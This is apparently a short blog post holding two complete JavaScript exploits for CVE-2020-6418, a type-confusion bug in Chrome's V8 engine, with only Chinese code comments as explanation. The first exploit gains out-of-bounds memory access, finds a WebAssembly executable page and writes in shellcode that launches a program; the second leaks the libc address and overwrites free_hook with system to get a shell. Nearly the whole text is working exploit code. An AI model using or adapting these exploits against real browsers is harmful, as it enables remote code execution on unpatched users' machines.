cve-2020-6418
2021-05-05 本文已影响0人
cnitlrt
wasm run shellcode
let vuln_array = [,,,,,,,,,,,, 6.1, 7.1, 8.1];
var oob_array;
var uint64_arw;
vuln_array.pop();
vuln_array.pop();
vuln_array.pop();
var objArray;
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var uint32 = new Uint32Array(buf);
// float-->uint
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// uint-->float
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function hex(a) {
return "0x" + a.toString(16);
}
function empty() {}
function f(p) {
vuln_array.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy ? 0.2 : 2.42902434121390450978968281326E-319*2);
for (let i=0; i<0xc00c; i++) {empty();}
}
function wasm_func() {
var wasmImports = {
env: {
puts: function puts (index) {
print(utf8ToString(h, index));
}
}
};
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
return m.exports.hello;
}
func = wasm_func();
let p = new Proxy(Object, {
get: () => {
vuln_array[0] = {};
oob_array = [1.1];
uint64_arw = new BigUint64Array(2);
objArray = {m:0xdead, n:func};
//%DebugPrint(oob_array);
//%DebugPrint(uint64_arw);
//%SystemBreak();
return Object.prototype;
}
});
function main(p) {
for (let i=0; i<0xc00c; i++) {empty();}
f(p);
}
function ByteToBigIntArray(payload)
{
let sc = []
let tmp = 0n;
let lenInt = BigInt(Math.floor(payload.length/8))
for (let i = 0n; i < lenInt; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
}
sc.push(tmp);
}
let len = payload.length%8;
tmp = 0n;
for(let i=0n; i<len; i++){
tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
}
sc.push(tmp);
return sc;
}
function ArbitratyWrite(addr, payload)
{
sc = ByteToBigIntArray(payload);
oob_array[16] = i2f(BigInt(sc.length));
oob_array[18] = i2f(0n);
oob_array[17] = i2f(addr);
for(let i = 0; i < sc.length; i+=1) {
uint64_arw[i] = sc[i];
}
oob_array[16] = i2f(0x2n);
/*oobArray[18] = bigUintArrayBasePtr;
oobArray[17] = bigUintArrayExternalPtr;*/
}
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
for (let i=0; i<0xc00c; i++) {empty();}
main(empty);
main(empty);
main(p);
/*%DebugPrint(oob_array);
%DebugPrint(uint64_arw);
%SystemBreak();*/
console.log(" oob_array.length: " + hex(oob_array.length));
}
function testPwn(){
console.log("[+] test");
var addr1 = f2i(oob_array[17])-0x7n;
var codebase1 = f2i(oob_array[18]);
console.log("codebase1: "+hex(codebase1));
/*console.log("[+]oob_array[17]: "+hex(f2i(oob_array[17])));
console.log("[+]oob_array[18]: "+hex(f2i(oob_array[18])));*/
console.log("[+]addr1: "+hex(addr1));
objArray.n = func;
var func_addr = f2i(oob_array[22]);
func_addr = func_addr >> 32n;
func_addr = func_addr + addr1;
console.log("func_addr: "+hex(func_addr));
//print(hex(f2i(oob_array[22])));
oob_array[17] = i2f(func_addr+0x7n);
oob_array[18] = i2f((0n));
var shared_info_addr = uint64_arw[0];
shared_info_addr = shared_info_addr >> 32n;
shared_info_addr = shared_info_addr + addr1;
oob_array[17] = i2f(shared_info_addr-0x1n);
oob_array[18] = i2f((0n));
var wasm_func_data_addr = uint64_arw[0];
wasm_func_data_addr = wasm_func_data_addr >> 32n;
wasm_func_data_addr = wasm_func_data_addr + addr1;
oob_array[17] = i2f(wasm_func_data_addr+0x3n);
oob_array[18] = i2f((0n));
var instance_addr = uint64_arw[0];
instance_addr = instance_addr >> 32n;
instance_addr = instance_addr + addr1;
oob_array[17] = i2f(instance_addr+0x67n);
oob_array[18] = i2f((0n));
var rwx_addr = uint64_arw[0];
console.log("shared_info_addr: "+hex(shared_info_addr));
console.log("wasm_func_data_addr: "+ hex(wasm_func_data_addr));
console.log("instance_addr:"+ hex(instance_addr));
console.log("rwx_addr:"+ hex(rwx_addr));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
ArbitratyWrite(rwx_addr, shellcode);
/*%DebugPrint(func);
%DebugPrint(oob_array);
%DebugPrint(uint64_arw);*/
//%DebugPrint(objArray);
//%SystemBreak();
func()
}
confusion_to_oob();
testPwn();
/*pwn();
uint64_arw[0] = (0n);*/
hijack free_hook -> system
let vuln_array = [,,,,,,,,,,,, 6.1, 7.1, 8.1];
var oob_array;
var uint64_arw;
vuln_array.pop();
vuln_array.pop();
vuln_array.pop();
// uint64_arw中三个关键值的相对偏移
var uint64_length_offset;
var uint64_externalptr_offset;
var uint64_baseptr_offset;
// 保存uint64_arw的三个关键值
var uint64_length;
var uint64_externalptr_ptr;
var uint64_baseptr_ptr;
// 用来实现float和uint的类型转换
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// float-->uint
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// uint-->float
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 显示十六进制,纯粹为了美观
function hex(a) {
return "0x" + a.toString(16);
}
function empty() {}
function f(p) {
// 2.42902434121390450978968281326E-319 == 0xC00C
vuln_array.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy ? 0.2 : 2.42902434121390450978968281326E-319*2);
for (let i=0; i<0xc00c; i++) {empty();} // 触发JIT
}
let p = new Proxy(Object, {
get: () => {
vuln_array[0] = {}; // 修改之后的类型是HOLEY_ELEMENTS
oob_array = [1.1]; // 修改此数组的length来达到oob
uint64_arw = new BigUint64Array(2); // 实现任意地址读写
//%DebugPrint(oob_array);
//%DebugPrint(uint64_arw);
//%SystemBreak();
return Object.prototype;
}
});
function main(p) {
for (let i=0; i<0xc00c; i++) {empty();} // 触发JIT
f(p);
}
// 将类型混淆转化为越界读写
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
for (let i=0; i<0xc00c; i++) {empty();} // 触发JIT
main(empty);
main(empty);
main(p);
/*%DebugPrint(oob_array);
%DebugPrint(uint64_arw);
%SystemBreak();*/
console.log(" oob_array.length: " + hex(oob_array.length));
}
function testPwn(){
console.log("[+] test");
var codebase1 = f2i(oob_array[18]);
console.log("codebase1: "+hex(codebase1));
console.log("[+]oob_array[17]: "+hex(f2i(oob_array[17])));
console.log("[+]oob_array[18]: "+hex(f2i(oob_array[18])));
oob_array[18] = i2f(0x39n);
/*%DebugPrint(oob_array);
%SystemBreak();*/
//oob_array[18] = i2f(codebase1-0x7+0x40);
console.log("[+]oob_array[17]: "+hex(f2i(oob_array[17])));
console.log("[+]oob_array[18]: "+hex(f2i(oob_array[18])));
var codebase = (uint64_arw[0]) - 0x12062ecn;
console.log("codebase: "+hex(codebase));
var fprintf_addr = codebase + 0x0000000001464848n;
oob_array[18] = i2f(0n);
oob_array[17] = i2f(fprintf_addr);
var libc_base = uint64_arw[0]-0x55780n;
console.log("libc_base: "+hex(libc_base));
oob_array[17] = i2f(libc_base+0x3c67a8n);
uint64_arw[0] = (libc_base + 0x453a0n);
//%SystemBreak();
}
function pwn(){
let args = "/bin/sh\x00";
}
//oob_array = [1.1]; // 修改此数组的length来达到oob
confusion_to_oob();
testPwn();
pwn();
uint64_arw[0] = (0n);